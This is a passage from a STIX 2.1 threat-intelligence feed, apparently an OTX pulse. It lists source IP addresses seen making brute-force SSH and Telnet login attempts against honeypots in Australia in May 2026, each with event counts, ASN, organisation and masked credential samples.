      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.89.63.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T00:15:11.000Z",
      "valid_until": "2026-06-24T00:15:08.000Z"
    },
    {
      "created": "2026-05-23T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--997642e4-2c32-4a25-89ae-0523fdac238f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.48.105.149']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T00:15:11.000Z",
      "valid_until": "2026-06-24T00:15:08.000Z"
    },
    {
      "created": "2026-05-23T00:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--7b913320-099f-444a-bdb7-135279595cb2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.54.53.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T00:15:11.000Z",
      "valid_until": "2026-06-24T00:15:08.000Z"
    },
    {
      "created": "2026-05-23T00:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH. Usernames observed (masked): r**t. Passwords observed (masked): 1********a.",
      "id": "indicator--8aee854a-d349-4896-b121-ab9867b26550",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T00:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '89.116.25.45']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T00:15:11.000Z",
      "valid_until": "2026-06-24T00:15:08.000Z"
    },
    {
      "created": "2026-05-23T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 139879. Organisation(s): Galaxy Broadband.",
      "id": "indicator--9f462812-4bc6-4663-90dc-a5d487ec9866",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.74.20.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:15:11.000Z",
      "valid_until": "2026-06-24T01:15:09.000Z"
    },
    {
      "created": "2026-05-23T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 36114. Organisation(s): VegasNAP, LLC.",
      "id": "indicator--b23c4c84-c7ba-4f30-bc85-561edee0de62",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '104.143.10.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:15:11.000Z",
      "valid_until": "2026-06-24T01:15:09.000Z"
    },
    {
      "created": "2026-05-23T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--16517904-32ea-43ed-ab99-82cfe49bb9e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.218.186.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:15:11.000Z",
      "valid_until": "2026-06-24T01:15:09.000Z"
    },
    {
      "created": "2026-05-23T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--e88941d2-f291-47ed-bacf-75b5e72bb541",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.207.17.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:15:11.000Z",
      "valid_until": "2026-06-24T01:15:09.000Z"
    },
    {
      "created": "2026-05-23T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PH. ASN(s): 132199. Organisation(s): Globe Telecom Inc..",
      "id": "indicator--186fffd6-548f-409e-923a-17755a5c6d86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '124.6.167.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:15:11.000Z",
      "valid_until": "2026-06-24T01:15:09.000Z"
    },
    {
      "created": "2026-05-23T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 58541. Organisation(s): Qingdao,266000. Usernames observed (masked): r**t. Passwords observed (masked): A*******$.",
      "id": "indicator--8af6e95e-79be-47e8-b444-08f3ef4911f9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '150.139.194.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:15:11.000Z",
      "valid_until": "2026-06-24T01:15:09.000Z"
    },
    {
      "created": "2026-05-23T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 395839. Organisation(s): HOSTKEY.",
      "id": "indicator--60e7a251-a7f0-42b5-97c3-1469700ba46b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '166.1.89.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:15:11.000Z",
      "valid_until": "2026-06-24T01:15:09.000Z"
    },
    {
      "created": "2026-05-23T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--dca75d47-3b4f-4ddb-a1ec-5a1aa3ec8616",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.229.173']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:15:11.000Z",
      "valid_until": "2026-06-24T01:15:09.000Z"
    },
    {
      "created": "2026-05-23T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 22085. Organisation(s): Claro SA.",
      "id": "indicator--bb26fa3a-860c-4ff1-ab56-8d2b7b952101",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '179.243.229.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:15:11.000Z",
      "valid_until": "2026-06-24T01:15:09.000Z"
    },
    {
      "created": "2026-05-23T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 23201. Organisation(s): Telecel S.A..",
      "id": "indicator--00c622fc-acaf-42fa-aee3-7230bd11840e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.17.65.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:15:11.000Z",
      "valid_until": "2026-06-24T01:15:09.000Z"
    },
    {
      "created": "2026-05-23T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 266181. Organisation(s): GOLDEN LINK.",
      "id": "indicator--381c70aa-a7c6-4acc-853b-8415b2d4dcbc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.120.24.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:15:11.000Z",
      "valid_until": "2026-06-24T01:15:09.000Z"
    },
    {
      "created": "2026-05-23T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--1a2fc0c3-f2c8-4127-8bdc-ea3bad28d091",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '189.188.11.88']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:15:11.000Z",
      "valid_until": "2026-06-24T01:15:09.000Z"
    },
    {
      "created": "2026-05-23T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 152014. Organisation(s): PT. Mitra Kita Brilian.",
      "id": "indicator--0624a8f5-93e1-4673-854a-e6182f7963a6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '203.175.102.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:15:11.000Z",
      "valid_until": "2026-06-24T01:15:09.000Z"
    },
    {
      "created": "2026-05-23T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t. Passwords observed (masked): 1******%.",
      "id": "indicator--11860d54-568d-435b-8394-bb34ab53ba16",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '221.163.5.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:15:11.000Z",
      "valid_until": "2026-06-24T01:15:09.000Z"
    },
    {
      "created": "2026-05-23T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 100. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, 3**********4, n**s, u**r. Passwords observed (masked): 1*******9, 3***********4, 3**********4, Q********3, R********3.",
      "id": "indicator--2ed90b94-44fd-44b8-a53f-b787e49cd8af",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.107.156.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:15:11.000Z",
      "valid_until": "2026-06-24T01:15:09.000Z"
    },
    {
      "created": "2026-05-23T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--c3f88138-0175-458e-b64d-7717ab7f5629",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '222.219.100.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:15:11.000Z",
      "valid_until": "2026-06-24T01:15:09.000Z"
    },
    {
      "created": "2026-05-23T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 56048. Organisation(s): China Mobile Communicaitons Corporation.",
      "id": "indicator--238cd629-e0b8-4ff6-9a73-bc3714b223e1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '223.70.251.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:15:11.000Z",
      "valid_until": "2026-06-24T01:15:09.000Z"
    },
    {
      "created": "2026-05-23T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 12183. Organisation(s): Talkie Communications, Inc.",
      "id": "indicator--b7786576-e961-40bd-9c15-9fd906ab2f53",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.70.51.226']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:15:11.000Z",
      "valid_until": "2026-06-24T01:15:09.000Z"
    },
    {
      "created": "2026-05-23T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SN. ASN(s): 8346. Organisation(s): SONATEL SONATEL-AS Autonomous System. Usernames observed (masked): **. Passwords observed (masked): **.",
      "id": "indicator--a728aa47-cea4-4684-942c-0291ce0dca90",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.214.44.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:15:11.000Z",
      "valid_until": "2026-06-24T01:15:09.000Z"
    },
    {
      "created": "2026-05-23T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 1329. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: NL. ASN(s): 51396. Organisation(s): Pfcloud UG (haftungsbeschrankt). Usernames observed (masked): r**t, a***n, d**o, d****y, d******r. Passwords observed (masked): 1****6, ***, p******d, p******d, P******d.",
      "id": "indicator--6e591e3f-24f4-49dc-9425-5704f049f843",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.156.87.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:15:11.000Z",
      "valid_until": "2026-06-24T01:15:09.000Z"
    },
    {
      "created": "2026-05-23T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14618. Organisation(s): Amazon.com, Inc..",
      "id": "indicator--f8a3d1bf-aeea-44f7-aaa7-6ad34a4c213d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '52.23.241.253']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:15:11.000Z",
      "valid_until": "2026-06-24T01:15:09.000Z"
    },
    {
      "created": "2026-05-23T01:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 11. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--0f20503b-dd3b-43bb-bcd3-90e2224d4699",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.68.25.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:15:11.000Z",
      "valid_until": "2026-06-24T01:15:09.000Z"
    },
    {
      "created": "2026-05-23T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 12494. Organisation(s): OOO Post ltd.",
      "id": "indicator--8ca8c446-d780-4732-8df5-d737697fc132",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '77.75.14.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:15:11.000Z",
      "valid_until": "2026-06-24T01:15:09.000Z"
    },
    {
      "created": "2026-05-23T01:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: SA. ASN(s): 25019. Organisation(s): Saudi Telecom Company JSC.",
      "id": "indicator--32bacb19-9a7e-497f-bc3d-74f96ce60b24",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T01:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.219.227.231']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T01:15:11.000Z",
      "valid_until": "2026-06-24T01:15:09.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: LY. ASN(s): 328539. Organisation(s): Giga-Communication.",
      "id": "indicator--46924d45-ae6b-4a47-b23f-f560ed76c8c0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.209.254.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: LY. ASN(s): 328539. Organisation(s): Giga-Communication.",
      "id": "indicator--5300e640-c889-4786-8455-173f91fd9729",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '102.209.254.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--2703a3bc-8d01-49e8-bffa-2d01033c5f84",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '111.179.173.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--66d164cf-c442-417f-8b42-bd36131d294f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '112.103.129.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--d8d14243-2c42-49c6-9232-b2140bfc2a40",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '113.124.228.63']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--947138ef-a522-49b6-9944-6ee2c92385f4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.207.109.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--37f67397-fb9b-411e-a04b-b6fbbeaa1f5d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.25.38.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): u****u. Passwords observed (masked): L***********3.",
      "id": "indicator--597e42c4-3528-48e4-8473-bf60a976ac18",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.6.44.221']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--eb66f04c-0f74-40cb-b2f1-7af11cb27217",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-23T02:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '117.60.222.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-23T02:15:10.000Z",
      "valid_until": "2026-06-24T02:15:08.000Z"
    },
    {
      "created": "2026-05-23T02:15:10.000Z",
